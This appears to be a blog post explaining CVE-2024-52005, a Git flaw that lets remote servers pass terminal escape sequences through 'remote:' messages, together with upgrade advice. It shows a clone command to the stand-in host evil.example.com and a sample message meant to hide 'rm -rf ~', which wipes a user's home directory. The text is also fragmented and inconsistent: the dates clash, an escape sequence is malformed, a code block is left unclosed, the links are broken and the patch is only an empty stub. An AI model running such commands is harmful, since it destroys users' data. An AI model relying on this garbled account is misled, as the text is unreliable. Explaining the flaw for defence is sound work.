CVE-2024-52005 - Git Sideband Escape Sequence Vulnerability – What You Need to Know
Git is the backbone of open source and enterprise software development. It’s trustworthy, robust, and underpins software infrastructure everywhere. But even the strongest tools have their weak spots. On June 2024, a new vulnerability—CVE-2024-52005—was announced affecting Git's terminal output. This seemingly small issue allows potentially dangerous manipulation of the messages you see when working with remote repositories.
This post will explain CVE-2024-52005 in simple terms, show what it means, how it can be exploited, and what you can do to stay safe. We’ll reference original advisories and show actual code snippets—so you can see for yourself.
What is CVE-2024-52005 All About?
Git manages your code, tracks changes, and lets you collaborate with others. Every time you use commands like git clone, git push, or git fetch, your local Git program talks to a remote server. Messages, errors or info, from the server to your computer are sent through something called the sideband channel. On your screen, these always show with remote: in front, just like this:
remote: Counting objects: 10, done.
remote: Compressing objects: 100% (3/3), done.
Here’s where the problem starts:
Your terminal—a program like Terminal on Mac, Windows Command Prompt, or something like GNOME Terminal—understands “special commands” called ANSI escape sequences. These are used to make things bold, change colors, or even move the cursor. However, some escape codes can do much, much more—including hiding text, injecting strange characters, or even making you run commands by simply copying and pasting text.
CVE-2024-52005 is about Git not filtering out these dangerous escape sequences when it prints messages received from remote servers. If you connect to an untrusted Git repository, a remote attacker can send you a message that makes your terminal do things you didn’t expect.
Attacker creates a remote Git repo.
- They add specially crafted hooks or server-side code to send ANSI escape sequences in informational messages.
`sh
git clone https://evil.example.com/vulnerable-repo.git
It might fake what is being shown.
- Under some circumstances, a *crafted* sequence could set up a fake command in your terminal's clipboard or trick you into running something malicious.
Example: Hiding a Malicious Suggestion
remote: Clone successful. To get started, run:
remote: \0338m rm -rf ~\033[m # (ESC sequence hides this line)
remote: git checkout main
[CVE-2024-52005 on the National Vulnerability Database
Git Security Mailing List (Patch Discussion):
https://lore.kernel.org/git/git-security@googlegroups.com/
Official Git Patch Discussion:
Public thread on Sideband Terminal Escape
Update Git Immediately
The best protection is to upgrade to the latest version of Git as soon as patches are released.
Latest versions (after June 2024) include filtering that removes dangerous escape sequences.
# macOS or Linux (Homebrew or apt)
brew upgrade git
sudo apt update && sudo apt upgrade git
# Windows: Download latest Git for Windows installer
Avoid Cloning or Fetching from Untrusted Sources!
- Don't copy/paste terminal output from Git commands, especially if you use colors or fancy prompts.
Simplified Pseudocode
// Somewhere in the Git source:
void strip_ansi_sequences(char* message) {
// Remove any char starting with '\033' (ESC)
// and ending with 'm' or another finalizer.
// Leaves only plain text for the user to see.
}
Patch Example:
[See the patch proposal here on git@lore.kernel.org
The Bottom Line
CVE-2024-52005 is a reminder that even “just messages” on your screen can be vectors for attack. Malicious escape sequences could trick even careful developers into dangerous acts, just by showing the *wrong* thing at the right time, or hiding a dangerous suggestion in what looks like a harmless log.
Don't Panic – Just Upgrade
Keep your Git client up to date and treat terminal outputs—especially from unfamiliar sources—with caution. Check original links for ongoing updates on this bug and future fixes.
Stay safe, and happy coding!
*If you have more questions or want live updates, check out: Git project security page, or follow @gitsecurity on social media for alerts.*
Timeline
Published on: 01/15/2025 18:15:24 UTC